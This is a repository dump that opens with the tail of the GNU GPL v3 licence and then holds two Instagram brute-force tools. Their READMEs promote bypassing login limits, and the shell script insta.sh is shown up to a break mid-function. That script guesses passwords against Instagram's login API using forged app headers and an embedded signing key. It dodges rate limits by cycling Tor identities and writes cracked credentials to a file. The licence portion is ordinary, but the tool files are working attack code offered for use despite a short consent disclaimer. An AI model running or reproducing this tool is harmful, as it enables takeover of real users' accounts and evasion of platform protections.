277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/IBruter/README.md:
--------------------------------------------------------------------------------
1 | # IBruter v1.0
2 | Instagram Brute Force tool
3 |
4 | ## Author: https://github.com/kal1gh0st
5 |
6 | IBruter is an Shell Script to perform brute force attack against Instagram, this script can bypass login limiting and it can test infinite number of passwords with a rate of 400+ passwords/min using 20 threads.
7 |
8 | ## Disclaimer :
9 |
10 | Usage of IBruter for attacking targets without prior mutual consent is illegal. It's the user's responsibility to obey all applicable local, state and laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Use this tool only for research or educational purpose only.
11 |
12 |
13 | ### Features
14 | - Multi-thread (400 pass/min, 20 threads)
15 |
16 | - Default password list (best +39k 8 letters(2019))
17 |
18 |
19 | ### Usage:
20 | ```
21 | git clone https://github.com/harsh2527/IBruter
22 | cd IBruter
23 | chmod +x IBruter.sh
24 | sudo ./IBruter.sh
25 | ```
26 |
27 | 
28 |
29 | 
30 |
31 | ### Install requirements (Curl & TOR):
32 |
33 | ```
34 | chmod +x requirements.sh
35 | sudo ./requirements.sh
36 | ```
37 |
38 | ####
39 | May or maynot work for some due to updated instagram login attepmt limits per id it was a Proof Of Concept (POC) for Instagram lacking login attempts limit and make sure to keep tor updated !
40 |
--------------------------------------------------------------------------------
/IBruter/requirements.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #Author: github.com/kal1gh0st
3 |
4 | trap 'echo exiting cleanly...; exit 1;'
5 |
6 | checkroot() {
7 |
8 | if [[ "$(id -u)" -ne 0 ]]; then
9 | printf "\e[1;77m Run me as root!\n\e[0m"
10 | exit 1
11 | fi
12 |
13 | }
14 |
15 | checkroot
16 |
17 | (trap '' SIGINT SIGTSTP && command -v tor > /dev/null 2>&1 || { printf >&2 "\e[1;92mInstalling TOR, please wait installing requirements...........\n\e[0m"; apt-get update > /dev/null && apt-get -y install tor > /dev/null || printf "\e[1;91mTor Not installed.\n\e[0m"; }) & wait $!
18 |
19 | (trap '' SIGINT SIGTSTP && command -v curl > /dev/null 2>&1 || { printf >&2 "\e[1;92mInstalling cURL, please wait installing requirements.............\n\e[0m"; apt-get update > /dev/null && apt-get -y install curl > /dev/null || printf "\e[1;91mCurl Not installed.\n\e[0m"; }) & wait $!
20 |
21 | printf "\e[1;92m Now all requirements are installed your good to go :D !\n\e[0m"
22 |
23 |
--------------------------------------------------------------------------------
/InstaBrute/README.md:
--------------------------------------------------------------------------------
1 | # InstaBrute
2 | # InstaBrute Two Ways to Brute-force Instagram Account Hacking
3 |
4 | ### what is a InstaBrute
5 |
6 | ### Instagram contained two distinct vulnerabilities that allowed an attacker to brute-force
7 | ### passwords of user accounts. Combined with user enumeration, a weak password policy
8 | ### no 2FA nor other mitigating security controls, this could have allowed an attacker to compromise
9 | ### many accounts without any user interaction, including high-profile ones.
10 | ### Facebook fixed both issues and awarded a combined bounty of $5.000.
11 |
12 |
13 | ### Download&install
14 |
15 | ### apt-get install tor
16 |
17 | ### git clone https://github.com/kal1gh0st/InstagramHacked/InstaBrute
18 |
19 | ### cd InstaBrute
20 |
21 | ### chmod +x insta.sh
22 |
23 | ### ./insta.sh
24 |
25 | ### screenshot
26 |
27 | 
28 |
29 | ### Viddeo Tutorial
30 |
31 | ### https://www.youtube.com/watch?v=a-moMHuZX_Q&t=11s
32 |
--------------------------------------------------------------------------------
/InstaBrute/insta.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Linkedin: https://www.linkedin.com/in/francesco-fedele-0702b614b/
4 |
5 | trap 'store;exit 1' 2
6 | string4=$(openssl rand -hex 32 | cut -c 1-4)
7 | string8=$(openssl rand -hex 32 | cut -c 1-8)
8 | string12=$(openssl rand -hex 32 | cut -c 1-12)
9 | string16=$(openssl rand -hex 32 | cut -c 1-16)
10 | device="android-$string16"
11 | uuid=$(openssl rand -hex 32 | cut -c 1-32)
12 | phone="$string8-$string4-$string4-$string4-$string12"
13 | guid="$string8-$string4-$string4-$string4-$string12"
14 | var=$(curl -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null)
15 | var2=$(echo $var | awk -F ';' '{print $2}' | cut -d '=' -f3)
16 |
17 | checkroot() {
18 | if [[ "$(id -u)" -ne 0 ]]; then
19 | printf "\e[1;77mPlease, run this program as root!\n\e[0m"
20 | exit 1
21 | fi
22 | }
23 |
24 | dependencies() {
25 |
26 | command -v openssl > /dev/null 2>&1 || { echo >&2 "I require openssl but it's not installed. Aborting."; exit 1; }
27 | command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Aborting."; exit 1; }
28 | command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Aborting."; exit 1; }
29 | command -v awk > /dev/null 2>&1 || { echo >&2 "I require awk but it's not installed. Aborting."; exit 1; }
30 | command -v sed > /dev/null 2>&1 || { echo >&2 "I require sed but it's not installed. Aborting."; exit 1; }
31 | command -v cat > /dev/null 2>&1 || { echo >&2 "I require cat but it's not installed. Aborting."; exit 1; }
32 | command -v tr > /dev/null 2>&1 || { echo >&2 "I require tr but it's not installed. Aborting."; exit 1; }
33 | command -v wc > /dev/null 2>&1 || { echo >&2 "I require wc but it's not installed. Aborting."; exit 1; }
34 | command -v cut > /dev/null 2>&1 || { echo >&2 "I require cut but it's not installed. Aborting."; exit 1; }
35 | command -v uniq > /dev/null 2>&1 || { echo >&2 "I require uniq but it's not installed. Aborting."; exit 1; }
36 | if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then
37 | echo "/dev/urandom not found!"
38 | exit 1
39 | fi
40 |
41 | }
42 |
43 | banner() {
44 |
45 | printf "\e[1;92m _ \e[0m\n"
46 | printf "\e[1;92m _ | | \e[0m\n"
47 | printf "\e[1;92m( \ | | ____ ___ _| |_ _____ \e[0m\n"
48 | printf "\e[1;92m ) )| || _ \ /___)(_ _)(____ | kal1gh0st \e[0m\n"
49 | printf "\e[1;77m(_/ | || | | ||___ | | |_ / ___ | _____ \e[0m\n"
50 | printf "\e[1;77m |_||_| |_|(___/ \__)\_____| (_____) \e[0m\n"
51 | printf "\n"
52 | printf "\e[1;77m\e[45m Instagram Brute Forcer v1.9 Author: Kal1gh0st (Github/IG) \e[0m\n"
53 | printf "\n"
54 | }
55 |
56 | function start() {
57 | banner
58 | checkroot
59 | dependencies
60 | read -p $'\e[1;92mUsername account: \e[0m' user
61 | checkaccount=$(curl -s https://www.instagram.com/$user/?__a=1 | grep -c "the page may have been removed")
62 | if [[ "$checkaccount" == 1 ]]; then
63 | printf "\e[1;91mInvalid Username! Try again\e[0m\n"
64 | sleep 1
65 | start
66 | else
67 | default_wl_pass="passwords.lst"
68 | read -p $'\e[1;92mPassword List (Enter to default list): \e[0m' wl_pass
69 | wl_pass="${wl_pass:-${default_wl_pass}}"
70 | default_threads="10"
71 | read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads
72 | threads="${threads:-${default_threads}}"
73 | fi
74 | }
75 |
76 | checktor() {
77 |
78 | check=$(curl --socks5 localhost:9050 -s https://check.torproject.org > /dev/null; echo $?)
79 |
80 | if [[ "$check" -gt 0 ]]; then
81 | printf "\e[1;91mPlease, check your TOR Connection! Just type tor or service tor start\n\e[0m"
82 | exit 1
83 | fi
84 |
85 | }
86 |
87 | function store() {
88 |
89 | if [[ -n "$threads" ]]; then
90 | printf "\e[1;91m [*] Waiting threads shutting down...\n\e[0m"
91 | if [[ "$threads" -gt 10 ]]; then
92 | sleep 6
93 | else
94 | sleep 3
95 | fi
96 | default_session="Y"
97 | printf "\n\e[1;77mSave session for user\e[0m\e[1;92m %s \e[0m" $user
98 | read -p $'\e[1;77m? [Y/n]: \e[0m' session
99 | session="${session:-${default_session}}"
100 | if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then
101 | if [[ ! -d sessions ]]; then
102 | mkdir sessions
103 | fi
104 | printf "user=\"%s\"\npass=\"%s\"\nwl_pass=\"%s\"\n" $user $pass $wl_pass > sessions/store.session.$user.$(date +"%FT%H%M")
105 | printf "\e[1;77mSession saved.\e[0m\n"
106 | printf "\e[1;92mUse ./instashell --resume\n"
107 | else
108 | exit 1
109 | fi
110 | else
111 | exit 1
112 | fi
113 | }
114 |
115 |
116 | function changeip() {
117 |
118 | killall -HUP tor
119 | #sleep 3
120 |
121 | }
122 |
123 | function bruteforcer() {
124 |
125 | checktor
126 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
127 | printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" $user
128 | printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $count_pass
129 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
130 |
131 | startline=1
132 | endline="$threads"
133 | while [ true ]; do
134 | IFS=$'\n'
135 | for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
136 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
137 |
138 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
139 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
140 |
141 | countpass=$(grep -n "$pass" "$wl_pass" | cut -d ":" -f1)
142 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
143 | useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
144 |
145 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass
146 |
147 | {(trap '' SIGINT && var=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "200\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.passwords ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"; kill -1 $$ ; elif [[ $var == "200" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.passwords ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!;
148 | let startline+=$threads
149 | let endline+=$threads
150 | changeip
151 | done
152 | }
153 |
154 |
155 |
156 | function resume() {
157 |
158 | banner
159 | checktor
160 | counter=1
161 | if [[ ! -d sessions ]]; then
162 | printf "\e[1;91m[*] No sessions\n\e[0m"
163 | exit 1
164 | fi
165 | printf "\e[1;92mFiles sessions:\n\e[0m"
166 | for list in $(ls sessions/store.session*); do
167 | IFS=$'\n'
168 | source $list
169 | printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$pass"
170 | let counter++
171 | done
172 | read -p $'\e[1;92mChoose a session number: \e[0m' fileresume
173 | source $(ls sessions/store.session* | sed ''$fileresume'q;d')
174 | default_threads="10"
175 | read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads
176 | threads="${threads:-${default_threads}}"
177 |
178 | printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user
179 | printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass
180 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
181 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
182 | startline="$threads"
183 | while [ true ]; do
184 | IFS=$'\n'
185 | for pass in $(sed -n '/'$pass'/,'$startline'p' $wl_pass); do
186 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
187 |
188 | data='{"phone_id":"$phone", "_csrftoken":"$var2", "username":"'$user'", "guid":"$guid", "device_id":"$device", "password":"'$pass'", "login_attempt_count":"0"}'
189 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
190 |
191 | countpass=$(grep -n "$pass" "$wl_pass" | cut -d ":" -f1)
192 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
193 | useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
194 |
195 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass
196 |
